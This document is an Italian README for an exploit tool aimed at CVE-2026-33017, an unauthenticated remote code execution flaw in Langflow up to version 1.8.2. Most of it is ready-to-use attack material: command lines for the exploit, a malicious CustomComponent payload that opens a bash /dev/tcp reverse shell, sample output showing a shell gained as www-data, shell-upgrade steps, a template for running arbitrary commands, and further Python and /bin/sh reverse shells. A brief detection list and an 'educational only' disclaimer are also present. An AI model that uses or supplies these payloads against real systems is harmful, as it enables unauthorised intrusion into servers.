
Exploit per CVE-2026-33017, una RCE non autenticata in Langflow, che consente una reverse shell tramite payload CustomComponent dannoso.
CVE-2026-33017 è una vulnerabilità di Remote Code Execution (RCE) non autenticata nelle versioni di Langflow <= 1.8.2. La vulnerabilità risiede nell'endpoint /api/v1/build_public_tmp/{flow_id}/flow, che non dispone di un'autenticazione adeguata e consente agli attaccanti di eseguire codice Python arbitrario durante il processo di compilazione del grafo.
Questo exploit è destinato esclusivamente a scopi educativi e di test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test.
| Versione | Stato |
|---|
| <= 1.8.2 | Vulnerabile |
| 1.9.0 | Corretta |
La vulnerabilità deriva dalla funzione prepare_global_scope() in validate.py, che chiama exec() sul codice di ciascun nodo CustomComponent senza un adeguato sandboxing. Quando un componente viene caricato/compilato, qualsiasi codice Python a livello di modulo (al di fuori delle definizioni di classe) viene eseguito immediatamente.
POST /api/v1/build_public_tmp/{flow_id}/flow
Caratteristiche:
Attacker POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← ESECUZIONE ARBITRARIA DEL CODICE
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. Reverse Shell
# Avvia il listener
nc -lvnp 4444
# Esegui l'exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. Utilizzo delle Opzioni Brevi
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. Test Locale
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. Timeout Personalizzato
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| Argomento | Breve | Obbligatorio | Descrizione |
|---|---|---|---|
--url | -u | Sì | URL di destinazione (es. https://target.langflow.com) |
--flow-id | -f | Sì | ID del flusso (UUID) del flusso pubblico |
--lhost | -lh | Sì | Indirizzo IP del listener per la reverse shell |
--lport | -lp | Sì | Porta del listener per la reverse shell |
--timeout | -t | No | Timeout HTTP in secondi (predefinito: 15) |
L'exploit invia un nodo CustomComponent malevolo che esegue codice a livello di modulo:
import os
# Questo viene eseguito immediatamente durante il caricamento del componente
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. L'attaccante invia una richiesta POST a /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow riceve il CustomComponent malevolo
3. prepare_global_scope() chiama exec() sul codice del componente
4. Il codice a livello di modulo viene eseguito immediatamente
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. La reverse shell si collega al listener dell'attaccante
6. La compilazione del grafo continua (ma è troppo tardi)
exec()exec() viene chiamato senza restrizionidata viene incorporato direttamente$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================
[!] Assicurati che il tuo listener sia in esecuzione:
nc -lvnp 4444
[+] URL di destinazione: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Invio del payload dell'exploit...
[+] Codice di stato: 200
[+] Exploit inviato con successo!
[+] ID Job: abc123-def456-789ghi
[*] Controlla il tuo listener per la reverse shell!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
Una volta ottenuta una reverse shell:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Oppure usa script
script /dev/null -c bash
# Metti in background con Ctrl+Z
# Poi esegui:
stty raw -echo
fg
reset
export TERM=xterm
Modifica lo script per eseguire comandi arbitrari invece di una reverse shell:
# Nella funzione build_payload():
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Reverse Shell Python con Socket
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. Reverse Shell /bin/sh (se bash non è disponibile)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow senza autenticazioneCustomComponent sospetto contenente os.system() o subprocess/tmp/rce-proof o /tmp/executed/build_public_tmpCustomComponentexec()| Data | Evento |
|---|---|
| Marzo 2026 | Vulnerabilità Scoperta |
| 16 marzo 2026 | Advisory GitHub Pubblicato |
| Aprile 2026 | Divulgazione Pubblica |
| Aprile 2026 | Patch Rilasciata (1.9.0) |
Questo progetto è destinato esclusivamente a scopi educativi. Utilizzalo a tuo rischio.
Questo software è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili del rispetto di tutte le leggi e i regolamenti applicabili.
Realizzato con 🖤 per la ricerca sulla sicurezza